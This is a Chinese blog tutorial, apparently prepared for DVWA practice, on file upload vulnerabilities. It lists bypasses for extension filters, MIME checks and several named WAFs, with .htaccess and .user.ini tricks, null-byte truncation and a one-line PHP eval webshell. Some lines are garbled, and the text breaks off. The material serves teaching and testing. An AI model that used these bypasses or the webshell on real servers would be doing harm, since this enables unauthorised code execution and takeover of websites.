文件上传漏洞

这里我主要是先通过讲解的内容再利用dvwa进行演示。


漏洞原理以及危害:

大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。
文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。

漏洞的利用:

当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。
上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;
上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器;
上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;
上传文件是恶意图片时,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行;
上传文件是伪装成正常后缀的恶意脚本时,攻击者可借助本地文件包含漏洞(Local File Include)执行该文件。如将bad.php文件改名为bad.doc上传到服务器,再通过PHP的include,include_once,require,require_once等函数包含执行。

此处造成恶意上传的有三种原因:

1)文件上传时检查不严。没有进行文件格式检查。一些应用仅仅在客户端进行了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查,攻击者可以通过NC,Fiddler等断点上传工具轻松绕过客户端的检查。一些应用虽然在服务器端进行了黑名单检查,但是却可能忽略了大小写,如将.php改为.Php即可绕过检查;一些应用虽然在服务器端进行了白名单检查却忽略了%00截断符,如应用本来只允许上传jpg图片,那么可以构造文件名为xxx.php%00.jpg,其中%00为十六进制的0x00字符,.jpg骗过了应用的上传文件类型检测,但对于服务器来说,因为%00字符截断的关系,最终上传的文件变成了xxx.php。
2)文件上传后修改文件名时处理不当。一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。如应用只能上传.doc文件时攻击者可以先将.php文件后缀修改为.doc,成功上传后在修改文件名时将后缀改回.php。
3)使用第三方插件时引入。好多应用都引用了带有文件上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。如著名的博客平台WordPress就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。

绕过方法:

前端js检测:

绕过方式:在前端页面修改js或者删除当前js直接上传,抓包工具拦截后修改后缀名上传

MIME检测:

这里的MIME其实就是对上传文件的Content-Type进行了检测
绕过方式:在上传文件时,开启Burp抓包工具,修改Content-Type为合法上传文件类型,比如:img/gif

文件后缀名黑名单检测:

代码的意思就是将不允许上传的后缀存到一个数组中,提前上传文件的后缀,在数组中进行对比,如果存在即上传失败,如果不存在即上传的文件后缀合法。
绕过方式:
asp:asp|asa|cer|cdx|aspx|ascx|asax|asmx|cfc|cfm
php:php|php2|php3|php4|php5|pthml|phtm|
jsp:jsp|jspa|jspx|jsw|jsv|jspf|jtml|

后缀名大小写绕过:

PHP
ASP
Php

利用windows特征绕过:

shell.php.
shell.php(空格)
shell.php:1.jpg
shell.php:: D A T A ( N T F S 特 性 流 ) s h e l l . p h p : : DATA(NTFS特性流) shell.php:: DATA(NTFS)shell.php::DATA…
以上后缀,会被windows系统自动去掉不符合规则符号后面的内容。

将非法的后缀过滤为空:

绕过方式:后缀双写绕过,如:pphphp即可绕过。

.htaccess绕过:

.htaccess是apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以帮我们实现网页301重定向(永久),自定义404错误页面,改变文件拓展名、允许/组织特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
如果用户可以自定义上传.htaccess文件,那么在文件内容中定义"AddType application/x-httpd-php .jpg"那么当前目录下的所有.jpg后缀的文件都会以php来解析。

.user.ini绕过:

利用方式:
前提是所上传文件夹下有正常的php文件,随后上传.user.ini文件,内容为:auto_prepend_fifile=01.gif,上传木马<?php @eval(REQUEST[shell]);?>,修改后缀名为01.gif访问同目录下的php文件,包含上传的木马进行解析http://www.test.com/echo.phpshell=phpinfo();

00截断绕过:

Chr(chracode)返回与指定的ASCII字符代码相对应的字符从0到31的数字表示标准的不可打印的ASCII代码,通过ASCII码得知0=null chr(0)表示字符串结束。
而00截断常见的有%00、0x00等。
他们都表示ASCII字符表中的保留字符chr(0)。不管表示编码有什么区别,只要能让服务器正确解析为chr(0)就行。
原理:chr(0)表示结束,限制条件:小于php5.3.4 小于jdk1.7,magic_quoes_gpc=off

在上传文件的时候,如果上传的路径可控,那么在路径后加入/1.php%00当文件系统读到[0x00]时,会认为文件已经结束。

这里需要注意的是%00是添加在URL中的,所以直接添加即可。

0x00绕过:

这里的0x00和上面的%00绕过的原理时类似的,都是在文件系统读取到[0x00]时,会认为文件已经结束。利用方式如下:
在这里路径的位置后面添加1.php a只是一般空格的16进制为0x20,添加一个a是为了找到空格的位置,算是起到一个标记符的作用,此时通过Burp的Hex查找空格对饮的16进制位置,修改为00
此时点击Send,即可上传成功。

对WAF的一些绕过姿势

1:安全狗绕过

绕过思路:
对文件的内容,数据,数据包进行处理。Content-Disposition: form-data; name=“upload_file”; filename=“info.php” 将form-data;修改为~form-data;

通过大小写来进行绕过:
Content-Disposition:form-data;name=“upload_file”; file=“info.php” Content-Type: application/octet-stream
将Content-Disposition修改为content-disposition。
将form-data修改为Form-data。
将Content-Type修改为content-Type。

通过删减空格来进行绕过:
Content-Disposition:form-data;name=“upload_file”; file=“info.php” Content-Type: application/octet-stream
将Content-Disposition:form-data 冒号后面增加或者减少一个空格。
将form-data;name="upload_file;分号后面增加或减少一个空格。
将Content-Type:冒号后面增加一个空格。

通过字符串拼接绕过:
Content-Disposition:form-data;name=“upload_file”; file=“info.php”
将form-data修改为f+orm-data。
将form-data修改为form-d+ata。

双文件上传绕过:

HTTP header 属性值绕过:
Content-Disposition:form-data;name=“upload_file”; file=“info.php”
将form-data替换为来绕过
Content-Disposition:
;name=“upload_file”; file=“info.php”

HTTP header 属性名称绕过:
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
修改为:
Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png C.php”
删除掉ontent-Type:image/jpeg只留下c,将.php加到c后面即可,但是要注意,双引号要跟着c.php

等效替换绕过:
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改为:
Content‐Type: multipart/form‐data; boundary =‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐471463142114
bodundary后面加入空格。

2:WTS-WAF绕过:

原内容:
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
添加回车来进行绕过。

3:百度云上传绕过

直接大小写修改文件名即可绕过。
Content-Disposition: form-data; name=“up_picture”; filename=“xss.Php”

4&#x

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值